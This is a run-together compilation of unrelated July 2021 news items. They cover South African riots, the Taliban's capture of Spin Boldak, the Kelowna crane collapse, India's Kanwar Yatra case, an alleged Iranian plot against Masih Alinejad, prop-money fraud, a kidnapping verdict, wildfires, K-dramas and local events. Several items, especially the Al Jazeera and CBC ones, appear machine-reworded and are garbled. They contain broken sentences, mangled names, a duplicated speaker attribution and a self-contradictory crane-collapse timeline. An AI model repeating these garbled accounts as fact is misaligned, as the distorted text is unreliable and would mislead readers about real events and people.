People threw stones at police while trying to rob the Letsoho shopping mall in Katlehong, east of Johannesburg, South Africa [Themba Hadebe/AP Photo]

Police detained demonstrators in Katlehong during protests after the imprisonment of former South African President Jacob Zuma [Siphiwe Sibeko/Reuters]

1 hour ago (06:26 GMT)

Violence will further intensify the situation: entrepreneurs

Tumelo Mosethli, a South African entrepreneur headquartered in Johannesburg, said that unemployment due to unrest will exacerbate the current severe economic situation.

We dont need this-seeing peoples shops and businesses destroyed, he told Al Jazeera.

Yes, people are hungry today, but tomorrow in a country trying to restore and rebuild themselves, there will be more unemployment, more pain, and more suffering.

Al Jazeeras live blog on Tuesdays violence and unrest in South Africa can be Found here.
The group stated that it has occupied the Spin Boldak strategic border crossing with Pakistan and continues to make great progress.

The Taliban stated that it has occupied the Spinboldak strategic border crossing with Pakistan and continues to make great achievements since the intensified withdrawal of foreign troops from Afghanistan.

However, the Afghan Ministry of Interior insisted on Wednesday that the attacks by armed groups had been repelled and government forces had control.

However, the Pakistani authorities confirmed to Al Jazeera that they had blocked one side of the countrys border crossing with Afghanistan at the Chaman-Spinboldak border.

You can see the presence of the Taliban on the border of Afghanistan and Pakistan in Chaman, but there are no Afghans. [government] The troops are on the side of the Afghan border, local government official Arif Kakar told Al Jazeera.

People crossing the Pakistan-Afghan border in Chaman, Pakistan [File: Akhter Gulfam/EPA]

Kakar confirmed that Pakistan currently does not allow any goods or people to cross the Chaman-Spinboldak border, which is one of the two main border crossing points between South Asian countries.

A video taken by local witnesses and seen by Al Jazeera shows that the flag of the Afghan government on the Spinboldak side of the border crossing has been replaced by the white flag of the Taliban, which refers to Afghanistan as the Islamic Emirate of Afghanistan.

Social media is also flooded with photos of Taliban fighters looking relaxed in this seemingly border town.

The seizure of Spin Boldak will be the latest in a series of border crossings and dry ports seized by the Taliban in recent weeks. The organization hopes to obtain much-needed revenue from the Kabul government while filling its own coffers.

After several days of fierce fighting in Kandahar province, the government was forced to deploy commandos to prevent the fall of the provincial capital, even as the organization was getting closer to the border crossing.

In a statement, Taliban spokesperson Zabihullah Mujahid assured businessmen and residents there that their safety is guaranteed.

But Afghan officials insist that they still have control.

The terrorist Taliban had some activities near the border area The security forces repelled the attack, Tarek Arian, spokesman for the Ministry of the Interior, told AFP.

Residents raised objections to the governments statement.

I went to my shop this morning and saw Taliban everywhere. They are in the bazaar, the police headquarters and the customs area. I can still hear the sound of fighting nearby, said Raz Mohamed, a shopkeeper who works near the border. Mohammad) said.

Trucks destined for Afghanistan wait for customs clearance on the Pakistani side of the Pakistan-Afghanistan border in Chaman, Pakistan [File: Akhter Gulfam/EPA]

Since the United States is only a few weeks away from the final withdrawal of troops from Afghanistan, the organization has already swept most of the country, and the government now only has a cluster of provincial capitals that must be resupplied primarily through the air.

The Spin Boldak border crossing is one of the most strategically valuable border crossings for the Taliban. It provides direct access to Pakistans Balochistan province, where the organizations top leadership has been stationed for decades, and an unknown number of reserve fighters who regularly enter Afghanistan to help strengthen their ranks.

A few hours after the border crossing collapsed, an AFP reporter from Pakistan saw about 150 Taliban fighters riding motorcycles and waving flags, demanding that they be allowed to enter Afghanistan.

Balochistan is the preferred destination for fighters who often go to medical treatment and has hosted many of their families.

An important road from the border connects Karachi, the commercial capital of Pakistan, and its huge port in the Arabian Sea.

Additional report by Saadullah Akhtar in Quetta, Pakistan
Earlier this week, in Kelowna, British Columbia, a team of professional first responders had found the body of a bystander

According to the person in charge of the team, the heavy urban search and rescue team of the Vancouver Fire and Rescue Service (VFRS) after more than six hours of work safely removed the mans body at about 12:30 am Pacific time.

We successfully implemented the plan we made and we worked with the Kelowna Fire Brigade all night, Assistant Commissioner David Boone said.

This family can be closed here some, and hope the community can return to normal, because the victim has now recovered.

The Vancouver Rescue Team, composed of firefighters, paramedics, police and an engineer, is one of six such rescue teams in Canada.

After assessing the site, their work began at about 5:30 pm Pacific time on Tuesday. At about 10:45 am Pacific time on Monday, a crane collapsed from above a 25-story residential tower under construction and hit it. To the neighboring office building.

On Monday, a worker watched police investigating the collapsed crane, which was resting on a building in Kelowna, British Columbia. (Alister Waters/Canada Press)

Staff struggled to keep the debris stable

The man found by the search and rescue team has been working in the tower next door. He was buried under rubble.

The twisted steel in the upper part of the crane is still leaning against the partially collapsed office building.

Boone said: There is a lot of instability in some of the remaining fragments, so we must ensure that nothing we move will damage anything below it and complicate recovery.

A total of five people were killed when the crane collapsed. Four are subcontractors who have been building the Brooklyn building on Bernard Avenue.

Watch | The brothers identified the 2 victims of the crane collapse:

CBC News confirmed that the Kelowna crane collapse caused five deaths, including two brothers. BC officials confirmed that four subcontractors were killed in the collapse and another man was working in a nearby building. His whereabouts are unknown and he is presumed dead. 2:39

Two of the workers Be identified as a brother, One-third of them were identified as 32-year-old men from Edmonton.

The RCMP, BC Coroner Service, and Work Safety BC are investigating the collapse.
The Supreme Court stated that citizens were confused about the permit to use Kanwar Yatra from July 25.

Although experts warned that a third wave of COVID-19 will inevitably occur in the country, the Supreme Court of India still challenged the governments decision to allow important Hindu pilgrimages.

The legal news portal Live Law reported on Wednesday that judges have sought answers from Uttar Pradesh and the federal government for their decision to allow the use of Kanwar Yatra from July 25, stating that they were uneasy about the matter.

The court stated that citizens were confused by this permission. At the same time, Prime Minister Narendra Modi and medical experts warned against holding large gatherings and urged people to observe social distancing and other regulations.

It confirmed the next hearing on Friday.

Indian media reported that on Tuesday, Uttar Pradesh, the most populous state of India, stated that the pilgrimage can be carried out with a minimal number of people and strict implementation of the COVID-19 agreement.

Every year, an estimated 50 million kanwariyas-followers of Hindu Lord Shiva-take water from the holy river Ganges on foot or by other means from various states and worship them in the Shiva temple in their area.

The Indian Medical Association (IMA), which represents doctors in the country, stated that the third wave of COVID-19 is inevitable.

Pictures of people flocking to tourist destinations and markets without wearing masks and ignoring social distancing go viral on the Internet.

In recent weeks, the number of new daily cases in India has dropped from 400,000 at the peak of the second wave in May to about 40,000.

Indias main challenge remains to vaccinate its 1.35 billion people. According to the DPA news agency, so far, less than 6% of the eligible population has been vaccinated.
An Iranian-American journalist and human rights activist based in New York stated that she would not succumb to the alleged conspiracy of Iranian intelligence agents to kidnap her and bring her back to Iran.

Federal Investigator detailed plan The kidnapping of Masih Alinejad, who contributed to the U.S. government-funded Persian service of the Voice of America and reporting on Iranian human rights issues in the indictment against four Iranian nationals late Tuesday , The US authorities call them Tehran intelligence personnel.

The indictment stated that the goal of these agents was to mobilize public opinion in Iran and around the world to change the regimes laws and practices.

I thank the FBI for thwarting the conspiracy of the Intelligence Department of the Islamic Republic of Iran to kidnap me. This conspiracy was carefully planned under Rouhanis leadership. This is the regime that kidnapped and executed Ruhola Zam.They also kidnapped and imprisoned Jamshid Sharmahd and many others pic.twitter.com/HUefdEbiil -Masih Alinejad ?? (@AlinejadMasih) July 14, 2021

Earlier on Wednesday, Alinejad stated that she believed her online activism was directed at her, which included sharing stories about the families of protesters killed by Iranian security forces during the protests in November last year, as well as being forced to wear them in Iran. The story of a woman in a turban.

I speak for the silent. This is my job, Alinejad told CNN. I ask people to be their own storytellers. I have 5 million followers on Instagram and 1 million followers on Facebook.

They send me a video, and I speak to them. Is this a crime?

When asked if she would be intimidated by this goal-US investigators said that this can be traced back to 2018 tactics that lured her to Iran, which included hiring private investigators to monitor Alinejad under false pretences, and her presence in Brook Lins family, family and friends-Alinejad responded: I wont.

To be honest, I have fear in my heart, but these people empower me, she said, calling the Iranians who shared their stories on her platform heroes.

On Wednesday, Irans Ministry of Foreign Affairs spokesman Said Khatibzad dismissed the US allegations, which also detailed how Iranian agents studied various ways of transporting Ali Nejad out of the country, including providing military speedboats to carry out  Self-employed sea evacuation and a sea route to Venezuela, which is allied with Tehran.

Khatibzadeh said: This new proposal of the US government so baseless and absurd, it is not worth answering at all.

Western power and rights groups have Long-term defendant Tehran Catch and kill Dissidents abroad.

The most recent news came shortly after Iran announced on Tuesday that it was holding talks with the United States on the issue of prisoner exchanges. Ensure release Iranians detained in US prisons and other countries for violating US sanctions.

Ali Nejad accused Tehran of kidnapping dissidents as a bargaining chip for Iran and several Western powers. Continue negotiations Back to the 2015 nuclear agreement.

She urged the administration of US President Joe Biden to take a hard line and care about human rights towards Iran.

The US authorities identified the suspected Iranian agents as Alireza Shavaroghi Farahani, 50, Mahmoud Khazein, 42, Kiya Sadeghi, 35, and Omid Noori, 45.

The authorities also accused Niloufar Bahadorifar, a 46-year-old California resident, of providing financial services in support of the conspiracy.
Lafayette, LA - A local BBB Accredited Business reached out to BBB Serving Acadiana asking us to help warn other retail businesses and consumers about the circulation of Movie Money or Prop Money. This money is specifically designed for the film and promotion industries for use in films, music videos, production promotions.

According to the business, the payment for products purchased were a few twenty dollar bills. The business provided photo documentation. At first glance they really appear to be real. Upon further inspection, the twenty clearly states copy money in multiple places, however, most of the wording is in the same typography and a similar color to regular currency. This makes it easy to miss especially, if you are a busy establishment. The business stated that although they have counterfeit detector pens they typically only use this on one hundred and fifty dollar bills.

How easy is it to get prop money?

A quick search on the internet and you will find a plethora of companies that produce and sell this product.

How do these companies get to produce this product?

Prop money makers manufacturer money according to the governments guidelines to keep themselves and their customers out of trouble. 18 U.S.C.  504(1), 31 CFR  411.1.

Is it illegal to own prop money?

Short answer, No. Although, the U.S. Secret Service warns anyone in possession of movie or prop money should forfeit the fake bills to law enforcement. Anyone attempting to spend this fake currency for goods and services will be subject to fines and/or imprisonment (18 U.S.C.  472).

BBB and the U.S. Secret Service offers these tips to help protect you from becoming a victim:

Take a quick glance at currency when you receive it from any consumer or retail establishment.

Check all currency using a counterfeit detector pen.

Look for Chinese Characters or foreign writing on the front and back of the note.

Look for For Motion Picture Use Only or the words Replica or Copy Money listed on the note.

Contact your local law enforcement or local Secret Service Field Office if you have information about counterfeit currency.

For more information:

Visit uscurrency.gov for more information and training resources on validating current and older U.S. currency.

Report Scams to BBB Scam Tracker?

Spot a business or offer that sounds like an illegal scheme or fraud? Tell us about it. Help us investigate and warn others by reporting what you know.
SHREVEPORT, La.A federal jury returned a guilty verdict against Dillon James Merritt, 54, of Many, Louisiana, charging him with kidnapping, interstate domestic violence and possession with intent to distribute methamphetamine, Acting United States Attorney Alexander C. Van Hook announced.United States District Judge Donald E. Walter presided over the trial.

Evidence introduced at trial this week revealed that on December 12, 2017, Merritt kidnapped a woman in Natchitoches, Louisiana, and took her across state lines to Texas and held her against her will from December 12, 2017 through December 16, 2017. Testimony at trial showed that Merritt and the woman (victim) briefly dated in the fall of 2017, but after Merritt punched the victim in the stomach following an argument, the victim severed the relationship with Merritt.

Following the breakup, he continually called the victim and harassed her. During the evening hours of December 12, 2017, Merritt found the victim walking back home from visiting with a friend near the Walmart parking lot in Natchitoches and struck her in the head and put her in a truck and left. The victim was bound and gagged and hidden under clothing in the vehicle and for the next several days, was taken by Merritt to various locations in Louisiana and remote locations in Texas near Toledo Bend.

Merritt repeatedly raped the victim, doused her with lighter fluid and tried to set her on fire, and severely beat her with his fists, elbows, feet and with a Mag lite flashlight over this four-day period causing serious bodily injury to the victim. In addition to the brutal beatings, aggravated sexual assault,and sexual abuse on the victim committed by Merritt, he possessed with the intent to distribute 5 grams or more of methamphetamine.

The severe brutality and sexual abuse inflicted by thisdefendant on the victim was pureevil,stated Acting United States Attorney Alexander C. Van Hook. No one deserves to be treated in this manner and justice has prevailed today."

Merritt faces up to life in prison for the kidnapping charge, life for the interstate domestic violence charges, a maximum of 40 years for the drug charge, and up to a $250,000 fine. Sentencing is set for November 11, 2021 at 11:00.The FBI and Sabine County Sheriffs Office in Hemphill, Texas conducted the investigation. Assistant U.S. Attorney Cadesby B. Cooper prosecuted the case.
KANSAS CITY, MO (KCTV) -- Two juveniles believed to be under 11 years old have died and two people are in critical condition following a Northland house fire. A fifth victim is believed to be in stable condition.

The Kansas City, Missouri Police Department's Bomb and Arson squad along with additional detectives and crime scene personnel are handling this investigation.

The victims' names and ages were not immediately available.

Neighbors hold moment of silence, vigil following deadly fire that killed 2 people Neighbors say their neighborhood is forever changed after a tragic house fire killed two people and injured three more.

Its going to be a different neighborhood, neighbor Mark Garner said. Its not going to be the same without him.

On Wednesday, neighbors held a moment of silence and prayed for the family whose home caught fire near Avalon Street and NW 72nd Terr. Around 11 a.m., the fire spread through the home that was shared by a man, woman and their children.

Neighbors are struggling to help their children and grandchildren cope with the loss of a friend.

My granddaughter let me know the house was on fire and she was hysterical, neighbor Rachel Willard said.

She says neighbors were devastated when they learned a child they know very well and another person that lived at the home did not survive.

He was just here yesterday and they were having a good ol' time, Willard said. They played soccer, kickball and bikes were being ridden constantly. He was a big part of their lives.

Garner says his son also played with the child often.

This kid was like the kind of kid out of The Sandlot. He was active, rough and tumble, and good-hearted, Garner said. Its rare to have kids that are that kindhearted and tenderhearted and just play with a bunch of kids that are different ages.

Neighbors say firefighters ran into the burning home to carry the children who were inside out of the home. Those who live in the close-knit neighborhood want to support the childrens parents and grandparents as they grieve.

Im praying they can heal. Grandkids are pretty special, neighbor Gary Andreasen said. I think about losing mine and I start crying.

They have my deepest sympathies. I cant imagine, Garner said. Your children become your world. They become the driving force of your existence.

The cause of the fire remains under investigation. Neighbors have started a GoFundMe page to help the family.

That was her baby, Willard said. She is so heartbroken and that makes me heartbroken.

If you live in Kansas City, Missouri, the fire department can help you install a free smoke detector. You can call 816-513-4648 or fill out an online form.
Netflix continues to entice fans with captivating and intriguing teasers of "Kingdom: Ashin of the North" featuring Jun Ji Hyun.

The streaming giant recently unveiled a series of new still cuts of the much-awaited "Kingdom" spin-off.

'Kingdom: Ashin of the North' Shares Glimpse of Ashin's Odyssey

With this, the special episode hints at Ashin, played by the Hallyu queen, and her challenging journey to the north, which is said to be the start of a huge tragedy that overturned Joseon.

"It's vast, quiet. Very lonely. The place where everything started. I have captured the northern part of the country with the secret of the origin of Saengsacho. Another world's beauty not seen in the previous Kingdom. The time to meet Ashin of the North is July 23," the caption reads.

As seen in the photos, the environment was far different from "Kingdom" seasons 1 and 2 as the northern part was engulfed with a chilly atmosphere.

At one point, the still cuts depict Ashin's approach to survive and seek revenge after her town, including her family, was conquered by the plague.

'Kingdom: Ashin of the North' PD Hints at New Attractions to the Upcoming Spin-Off

According to a local outlet, "Kingdom: Ashin of the North," director Kim Sung Hoon spoke about the difference between the location of the upcoming spin-off of and mega-hit K-zombie series.

In the interview, the PD mentioned that he was able to "capture another world's beauty" that was not seen in the previous drama.

His statement suggests that the special episode would feature new attractions that would definitely draw the public's interest in the mysterious character.

In addition, the team had to find a location that would link the Joseon era's mysterious and bizarre culture by showing the lifestyle in the north.

This includes the icy white snow, vast lands, and deep dark forest highlighting the deserted scenery representing Ashin's emotion of losing her family and home.

"Kingdom: Ashin of the North" is set to unravel the mysterious character of Ashin and the origin of the purple flower known as the resurrection plant that is believed to bring the dead back to life.

Moreover, the special episode also hints at Ashin's attempt to seek vengeance for the loss of her family and tribe, as seen on the "Kingdom 2" finale.

To recall, that was the time where Jun Ji Hyun's character was introduced in the hit K-zombie series.

In the last episode, Crown Prince Lee Chang, played by Ju Ji Hoon and Seo Bi, portrayed by Bae Doo Na, found the resurrection plant near the Chinese border and were told by the locals that someone was selling it.

However, a cryptic image of Ashin flashed on the screen where she was smiling mysteriously.

This raises the curiosity whether her character was involved in the widespread tragedy, killing hundreds of innocent people.

The Cast and Release Date

Aside from the iconic actress, the "Kingdom: Ashin of the North" cast also includes Kim Shi Ah as the young Ashin, while her on-screen father, Ta Hab, is played by the veteran actor Kim Roe Ha.

Joining the cast is Koo Kyo Hwan as Ai Da Gan and Park Byung Eun, who will reprise his role as Royal Commendantry member Min Chi Rok.

Amid the captivating teasers, fans need not to worry as the highly anticipated "Kingdom: Ashin of the North" release date slated on July 23.

KDramastars owns this article.

Written by Geca Wills
Get a glimpse of the upcoming fresh episodes of your favorite ongoing Korean dramas and take a look at the newly released stills of the highly anticipated movies coming this 2021!

My Roommate is a Gumiho

Wednesday - Thursday 9 p.m (KST)

K-Drama fans! You should look forward to tvN's fantasy-romance series My Roommate is a Gumiho, for it already has two episodes left.

Gye Sun Woo (Bae In Hyuk) already bids farewell to his first love Lee Dam (Hyeri), and is ready to start a new life in the US. Meanwhile, Shin Woo Yeo (Jang Ki Yong) is still determined to his goal of becoming a human, and Lee Dam does her best to fulfill the male gumiho's dream.

Viewers should also watch out for the second lead couple Yang Hye Sun (Kang Han Na) and Do Jae Jin (Kim Do Wan), for they already confessed their love for each other, and it has been said that there will be more funny and adorable scenes in store for their on-screen loveteam.

The Devil Judge

Saturday - Sunday 9 p.m (KST)

Weekend drama The Devil Judge just started, but the hype and recognition that it keeps on receiving are totally increasing.

K-Drama enthusiasts should never miss the upcoming Episode 5 and Episode 6 of The Devil Judge. Now that Kim Ga On (GOT7 Jinyoung) already started to know the real family background of Kang Yo Han (Ji Sung).

What makes the forthcoming episode exciting is the mysterious character of Jung Sun A (Kim Min Jung). Her authoritative persona became prominent in Episode 4 plus, she joined forces with Kim Ga On to investigate the heroic judge, Kang Yo Han.

Blue Birthday

Playlist Studio finally released the much-awaited trailer of the upcoming romance-thriller web drama Blue Birthday, starring Red Velvet's Yeri and Ji Seo Jun.

It will tell the story of Oh Ha Rin, who is still longing for her first love, Yang Hong Seok, who had a tragic death during her 18th birthday. 10 years after the incident, Yang Hong Seok keeps on appearing in Oh Ha Rin's dream.

This web series is scheduled to air on July 23 on Naver TV and on August 6 on Playlist Studio's official YouTube channel.

In Case You Missed It: Red Velvet's Yeri Displays Her Immersive Acting in Latest 'Blue Birthday' Trailer

Sinkhole

Cast: Cha Seung Won, Kim Sung Kyun, Lee Kwang Soo, Kim Hye Joo, Kim Hong Fa

New disaster movie Sinkhole excites future viewers by revealing a series of Lee Kwang Soo's character stills.

Former Running Man member, Lee Kwang Soo transforms into a pitiful but humble and refreshing character of Kim Seung Hyun. The film is scheduled to be released sometime in August.

White Day: School of Demon Exorcism

SF9's Chani and True Beauty star Park Yoo Na will be having their movie premiere in September with White Day: School of Demon Exorcism.

Ahead of its showing date, the production team already released a cinematic poster showing Chani's strong and charismatic character as Hee Min. Park Yoo Na plays the role of a strong girl named So Young.

The horror-fantasy film will depict the story of high school students who are struggling to save their friends from the evil spirits that are causing chaos at their school.

What shows are you looking forward to? Share your thoughts with us in the comments!

For more K-Drama, K-Movie, and celebrity news and updates, keep your tabs open here at Kdramastars.

Kdramastars owns this article.

Written by Shai Collins.
BEATTY, Ore.  For the first time since the Bootleg Fire started northeast of Sprague River more than a week ago, fire officials reported that some areas of the massive fire have been contained.

In an update on Wednesday morning, officials mapped the fire at roughly 212,377 acres, representing growth of more than 10,000 acres from the day prior.

Continued heat, critically dry vegetation, and high winds contributed to another day of active fire behavior. Fire officials said that most of the fire's growth occurred on the east side, in the greater Gearhart Wilderness area. Heavy smoke curtailed firefighting aircraft due to unsafe conditions.

Were making steady progress where winds and terrain allow, said Rob Allen, Incident Commander for PNW2 Incident Management Team. But for the third day in a row, firefighters had to disengage at times for their safety and weather isnt going to change for the foreseeable future.

According to the incident management team, fire crews saw the most progress on the west side of the fire  near where it began on the slopes of Fuego Mountain. Firefighters improved existing dozer and hand lines, and conducted "burnout" operations overnight to build out solid containment lies protecting the Chiloquin and Highway 97 areas.

Officials said that the inversion, which trapped smoke lower to the ground and shielded the area from direct sunlight, helped crews on the south and east to build or improve lines there.

"While the fire did not make expansive runs as it did in past days, west winds continued to push fire growth toward the greater Snake and Round Butte areas under Red Flag conditions," fire officials said.

Evacuations continued to spread into Lake County due to the fire's growth to the north and east, but Wednesday's update did not highlight the specific areas that were added over the last 24 hours. Officials said that an interactive map of evacuations is the best way to keep apprised of them due to the rapidly changing nature of the fire.

The fire's lurch toward Lake County caused law enforcement to issue new evacuations by Tuesday morning, stretching to the north, east, and southeast from Klamath County into Lake. Officials from the U.S. Forest Service also expanded closures in the Fremont-Winema National Forest to ensure that people stay away from threatened recreation areas.

The Bootleg Fire has moved rapidly through Klamath and Lake counties, with extreme fire behavior driven by hot weather, winds and exceptionally dry fuels since it was discovered last Tuesday, said Fremont-Winema National Forest Supervisor Barry Imler. For public and firefighter safety, it is essential that we expand the closure area while firefighters, the Incident Management Team and area fire managers work together to contain and control the fire.

Incident commanders decided Monday to split the firefight into two zones to the north and south. The Oregon Department of Forestry's Incident Management Team 1 took control of the fire's southern zone. Pacific Northwest Team 10 remains in command of the northern zone, while a team from the Oregon State Fire Marshal's office will continue to focus on protecting homes and structures, with almost 2,000 considered threatened.
LAKE OSWEGO, Ore. -- Becky Hultberg, President and CEO of the Oregon Association of Hospitals and Health Systems released a statement this afternoon regarding vaccination rates among Oregon health care workers, arguing that the state should mandate vaccinations in the field.

As the number of hospitals and health systems requiring COVID-19 vaccination for employees continues to grow across the U.S., here in Oregon we cant even have the conversation," Hultberg said. "Ensuring health care workers are vaccinated protects vulnerable patients, visitors, and coworkers. It is unconscionable to leave tools on the table during a global pandemic. Its well past time for state leaders to address this misguided policy.

Oregon law currently prohibits requiring health care workers to be vaccinated as a condition of their employment. Hultberg says that the Oregon Health Authority could write a rule ending this prohibition, or the Legislature could pass a new law.

According to new data released by the OHA, 94% of Oregon dentists, nearly nine in 10 medical doctors and nearly eight in 10 nurse practitioners had been vaccinated. However, data also shows that health care workers among American Indian/Alaskan Natives, Latino/a/x, Black and Native Hawaiian/Pacific Islander communities are under vaccinated compared their white counterparts.

More than 30 health systems and hospital associations nationwide have backed vaccine mandates for their workers. Other countries -- including Italy, France and Greece -- have already instituted mandatory vaccines for health care workers.
WASHINGTON, D.C.  Oregon's U.S. Senator Ron Wyden joined Majority Leader Chuck Schumer and Senator Cory Booker on Wednesday in introducing the discussion draft for a bill, the Cannabis Administration and Opportunity Act, that would federally declassify cannabis as a controlled substance.

The lawmakers said that ending federal criminalization of cannabis is becoming increasingly urgent as more and more states legalize both medical and recreational use. Wyden, Schumer, and Booker underlined that the vast majority of Americans believe that cannabis should be legalized in one form or another, and most Americans live in states where it is at least somewhat available legally.

Cannabis prohibition, a key pillar of the failed War on Drugs, has caused substantial harm to our communities and small businesses, and especially for communities of color, said Sen. Wyden, who chairs the Senate Finance Committee. Its as simple as this: Senators Booker, Schumer and I want to bring common sense to the federal government, end prohibition and restore the lives of those hurt most and set them up for opportunity.

The proposal introduced on Wednesday would not only remove cannabis from the federal list of controlled substances, it advocates expunging federal non-violent crimes involving marijuana and allowing people currently in federal prison for those crimes to petition a court for re-sentencing.

It would also establish a fund to invest in "communities that were hurt by the War on Drugs" and work for restorative justice in communities of color.

For decades, our federal government has waged a War on Drugs that has unfairly impacted low-income communities and communities of color, said Senator Booker. While red and blue states across the country continue to legalize marijuana, the federal government continues to lag woefully behind. It is time for Congress to end the federal marijuana prohibition and reinvest in communities most impacted by the failed War on Drugs. I am proud to introduce this landmark piece of legislation with Senator Wyden and Majority Leader Schumer that will finally turn the page on this dark chapter in American history and begin righting these wrongs.
TWIN LAKES  Country Thunder returns to the Town of Randall festival site Thursday with Dustin Lynch kicking off the bash and Blake Shelton closing out the four-day lineup.

Lynch, who has seven No. 1 hits and four top five albums, and Shelton, with his 11 best-selling albums and 28 No. 1 singles, will be joined by Kane Brown as headliners for the festival.

The music festival  returning in 2021 after missing out in 2020  had a lineup change in April.

Eric Church was named as a new headliner at Country Thunder Wisconsin to replace Morgan Wallen, who canceled all performances this summer.

In many ways, Eric Church is the epitome of what fans expect from a Country Thunder headliner, said Country Thunder Music Festivals CEO Troy Vollhoffer in a statement. The last time he played in Twin Lakes might be the biggest crowd weve ever had in these parts.

Church will take the stage Friday during the festival, taking place July 15-18 just outside Twin Lakes.

The headline schedule is: Lynch opening the festival on Thursday, Church on Friday, Brown on Saturday and Shelton closing it out on Sunday.
TOWN OF RANDALL  Campers began rolling into the Country Thunder grounds near Twin Lakes Wednesday as festival organizers, local businesses and the sheriffs officials prepared to welcome the biggest crowd in more than a year back to the state for the four-day country music event.

The majority of the early arrivals  like Adam Robinson, of Arlington Heights, Ill., and Ken Schleich, of Woodstock, Ill.  came with RVs.

Weve had this spot for eight years, Schleich said. We became friends with everyone around us, and have added more sites. Were so glad to be back. Some of us havent seen each other since the last festival.

A few campers did erect tents Wednesday despite the thunderstorm forecast for Wednesday night. In fact, rain started to fall at 3 p.m. The National Weather Service forecast also calls for a change of showers and thunderstorms Thursday and Friday.

We have meteorologists who are keeping an eye on everything out here, Capt. Dan Ruth with the Kenosha County Sheriffs Department said, adding they get frequent updates and plans are in place to evacuate the grounds if such a situation arises.

Ruth said all deputies on the grounds will be wearing body cameras this year. He offered some tips to help keep festival goers safe.
Trombone. Choir.

Those two words arent normally associated with each other, but Bone Appetit is out to change that.

The group is made up of more than a dozen trombone players from Kenosha, Racine and places like Elkhorn and Chicago.

The trombone choir will be performing pre-concert music, starting at 6:15 p.m., before the Kenosha Pops Concert Bands July 14 performance.

John Schoettler, a longtime member of the Pops, plays with the choir and is also the groups arranger and conductor.

Bone Appetit will be playing a mixture of musical styles, including: Achieved is a Glorious Work by Franz Joseph Haydn, Pirates of the Caribbean by Klaus Badelt, Come Rain or Come Shine by Harold Arlen, Octagon by Rich Woolworth and Says Who by group member John Nepper. Other players in the group are Tom Borkman, Frank Gualtieri, Brian Henry, Andy Kimmel, Jeff Lang, Chad Matulenko, Ryan Ringnalda, Jeff Rosendahl, Rick Simmons and Bob Trapp.

Bone Appetit has performed at a number of church services, the Elkhorn Food Truck Fair and at the Burlington Library. The group will be performing again at the Burlington Library at 1 p.m. on Aug. 8.

From Katy Perry to Gilbert and Sullivan
News

Ribbon cutting marks the official opening of the Ag Expo Center

Taylor Duke / Photos by Taylor Duke | Kentucky New Era Christian County Extension District as well as Chamber of Commerce, Hopkinsville City officials, Christian County Fiscal Court Magistrates and other officials cut a ribbon Tuesday morning signifying the official opening of the Christian County Ag Expo Center. Taylor Duke / By Taylor Duke | Kentucky New Era Magistrate Jerry Gilliam, who also serves on the extension district board of directors, tells the crowd that the building was able to stay under budget without cutting corners. Gilliam added that there are always ways to cut corners when building projects such as this one, but the extension district chose to avoid cutting corners, making it a special project. Taylor Duke / By Taylor Duke | Kentucky New Era Brooke Jenkins (right) helps corral a young calf into a pen as part of a demonstration of what the center can be used for during the Ag Expo Centers open house. Taylor Duke / Photos by Taylor Duke | Kentucky New Era Four demonstrators form a barricade to prevent young calves from escaping a pen before the ribbon-cutting ceremony began.

A ribbon-cutting and open house held Tuesday morning marked the official opening of the Christian County Agricultural Expo Center.

While the center has held several events prior to Tuesday, with its first event being held back in March, the ribbon cutting signified its official opening.

The Christian County Chamber of Commerce, along with the help of several city and county officials, held the ribbon cutting and open house, giving the people in attendance a glimpse of what the center has to offer moving forward.

The 45,000-square-foot facility will be able to host events, such as 4-H and FFA shows and competitions, farm machinery shows and demonstrations, horse shows and other livestock related events.

The extension will also be able to host private, commercial or tourism-related activities that require a large indoor space as well in its 2,700-square-foot meeting room.

Prior to the ribbon cutting, several high-ranking officials gave speeches regarding the amount of effort, years and funds went into the making of the expo center as well as the impact the center will likely have on the community.

While discussion of building the center began roughly five years ago, Farm Credit Mid-America Regional Vice President Brandon Garnett said the community has been pushing for a building like it for many years.

I remember as a kid at my old extension office on Vine Street  there were a lot of meetings of local people at night time, thinking about How can we do this? How can this building be built?  years and years of persistence from people in the community that felt like this building was a necessity has brought us here today, Garnett said.

Christian County Fiscal Court Magistrate Jerry Gilliam, who serves on the extension district board of directors, stated the building was able to stay under budget without cutting corners.

We had lots of private dollars and private partnerships and oftentimes in a private partnership, a lot of red tape and bureaucracy interferes and these usually result in either going over budget or cutting corners to stay within the budget, Gilliam said. Thanks to the leadership of the Christian County extension district, we stayed within the budget and did not cut corners.

Gilliam also added that there are always ways to cut corners when building projects such as this one, but the extension district chose to avoid cutting corners.

We found out a way to get it done and thats what makes this place so special, he said.

The state ag development board and the Governors Office of Ag Policy contributed $250,000 toward the $1.85 million ag facility project, while additional funding included $100,000 from Farm Credit Mid-America and $500,000 from the Christian County Ag Extension Foundation, according to New Era archives.

Another $1 million was made available through H-CC WINS and an agreement between Christian County and the City of Hopkinsville.

The county had previously entered into a memorandum of understanding with the city, agreeing to pay the city $2 million to help finance construction of what is now the Planters Bank-Jennie Stuart Sportsplex.

Also under that agreement, the county would continue to fully fund the citys parks and recreation superintendent position and its marketing and events coordinator position, according to the archives.

In return, the city was to pay the county $1 million for the financing of the construction of an agriculture-related facility.

During the speech portion of the ribbon cutting and open house, several officials commented on the impact the new center will have on the community, especially its youth and economy.

Garnett shared that he believes the center will benefit the local youth.

I spoke at (a community forum regarding the possibility of getting an expo center) and I said that this building was about agriculture and youth in Christian County and Today, I still believe this building is about agriculture, youth and its about the kids in this community, Garnett said.

Hopkinsville Mayor Wendell Lynch said that the building would bring in travelers from around the commonwealth, ultimately benefiting the city and countys economy.

This (building) is really important for our community to do those things which meet the needs of the entire community, Lynch said.

This is another star in our crown that adds to that. This also adds to the economic vitality of our community, because it will bring people in from all over the area and when we have events here, we talk about economic impact and that is good for everybody.

This ribbon cutting comes after several years of discussion and planning. The community held a ground-breaking ceremony for the multi-purpose facility in September 2019.

Since then, the center has held several public events, including the Christian County Sheriffs Posse barrel racing competition in early March.

In late April the ag expo center also hosted the Christian County FFA chapters awards ceremony.

The facility is owned by the Christian County Ag Foundation, which is the private, non-profit group that owns all of the extension services grounds and buildings in Christian County.
Children will likely pay the price for adults in the US not getting vaccinated at high enough rates to slow or stop the spread of Covid-19, which has been surging in most states, a vaccine expert said.

If vaccination rates among adults and kids 12 and older keep lagging amid increased spread of the Delta variant, the youngest members of the population will be most affected, said Dr. Peter Hotez, a vaccinologist and dean of the National School of Tropical Medicine at Baylor College of Medicine.

"Transmission will continue to accelerate ... and the ones who will also pay the price, in addition to the unvaccinated adolescents, are the little kids who depend on the adults and adolescents to get vaccinated in order to slow or halt transmission," he said.

